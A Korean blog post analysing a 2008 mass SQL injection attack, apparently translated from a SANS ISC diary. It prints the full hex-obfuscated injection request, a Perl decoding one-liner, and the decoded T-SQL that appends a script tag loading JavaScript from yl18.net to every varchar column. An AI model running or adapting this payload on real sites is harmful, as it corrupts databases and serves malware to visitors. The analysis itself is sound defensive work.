GET /home/site_content_3.asp
s=290';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x6400650063006C00610072006500200040006D0020007600610072006300680061007200
2800380030003000300029003B00730065007400200040006D003D00270027003B007300650
06C00650063007400200040006D003D0040006D002B0027007500700064006100740065005B
0027002B0061002E006E0061006D0065002B0027005D007300650074005B0027002B0062002
E006E0061006D0065002B0027005D003D0072007400720069006D00280063006F006E007600
650072007400280076006100720063006800610072002C0027002B0062002E006E0061006D0
065002B002700290029002B00270027003C0073006300720069007000740020007300720063
003D00220068007400740070003A002F002F0079006C00310038002E006E00650074002F003
0002E006A00730022003E003C002F007300630072006900700074003E00270027003B002700
2000660072006F006D002000640062006F002E007300790073006F0062006A0065006300740
07300200061002C00640062006F002E0073007900730063006F006C0075006D006E00730020
0062002C00640062006F002E007300790073007400790070006500730020006300200077006
800650072006500200061002E00690064003D0062002E0069006400200061006E0064002000
61002E00780074007900700065003D0027005500270061006E006400200062002E007800740
07900700065003D0063002E0078007400790070006500200061006E006400200063002E006E
0061006D0065003D002700760061007200630068006100720027003B0073006500740020004
0006D003D005200450056004500520053004500280040006D0029003B007300650074002000
40006D003D0073007500620073007400720069006E006700280040006D002C0050004100540
049004E004400450058002800270025003B00250027002C0040006D0029002C003800300030
00300029003B00730065007400200040006D003D00520045005600450052005300450028004
0006D0029003B006500780065006300280040006D0029003B00%20AS%20NVARCHAR(4000));EXEC(@S);--
위에서 보다시피 실제 구문은 인코딩되어 있어 금방은 알 수 없게 했다.
공격자는 CAST 구분을
사용해서 공격을 쉽게 탐지하지 못하도록 혼란 공격(Obfuscate Attack) 기법을 사용하고 있다.
CAST 구문은 타입을
다른 타입으로 Convert 시켜주는 역할을 한다.
CAST 된 구문은 "@S"의 Input 되고 실행이 된다.
이 코드를
아래 펄 명령어를 사용해서 디코딩한 것이 다음과 같다.
$ perl -pe 's/(..)00/chr(hex($1))/ge' < input > output
[디코딩 결과]
declare @m
varchar(8000);set @m='';select
@m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+''<script
src="http://yl18.net/0.js"></script>'';'
from dbo.sysobjects
a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and
b.xtype=c.xtype and c.name='varchar';
set @m=REVERSE(@m);set
@m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERSE(@m);exec(@m);
이 SQL 구문은 sysobject 테이블을 type U(User) 테이블의 모든 row를 가져오는
것이다.
결국 각 오브젝트에 yl18.net. 사이트 주소 코드를 추가하도록 업데이트 명령을 실행 시키는 구문이다.
이 공격을 받은
웹 사이트는 IIS와 MS SQL 서버가 설치된 경우이다. 특히 주목할 것이 바로 Evading을 하기 위해서 CAST나 CONVERT 명령어를
쓴다는데 유의해야 한다.
[원문]
Last Updated: 2008-01-09 09:05:44 UTC
by Bojan Zdrnja (Version: 1)
http://isc.incidents.org/diary.html?storyid=3823
'Databases' 카테고리의 다른 글
Mass SQL-Injectio (0) | 2008.10.22 |
---|---|
MASS SQL Injection 에 대한 DB 복구 (0) | 2008.10.22 |
관련 테이블 소유자 변경하기 (0) | 2008.09.25 |
참고 정보 (0) | 2008.09.22 |
ORACLE - 리터럴 SQL 인젝션(lateral SQL injection) (0) | 2008.04.30 |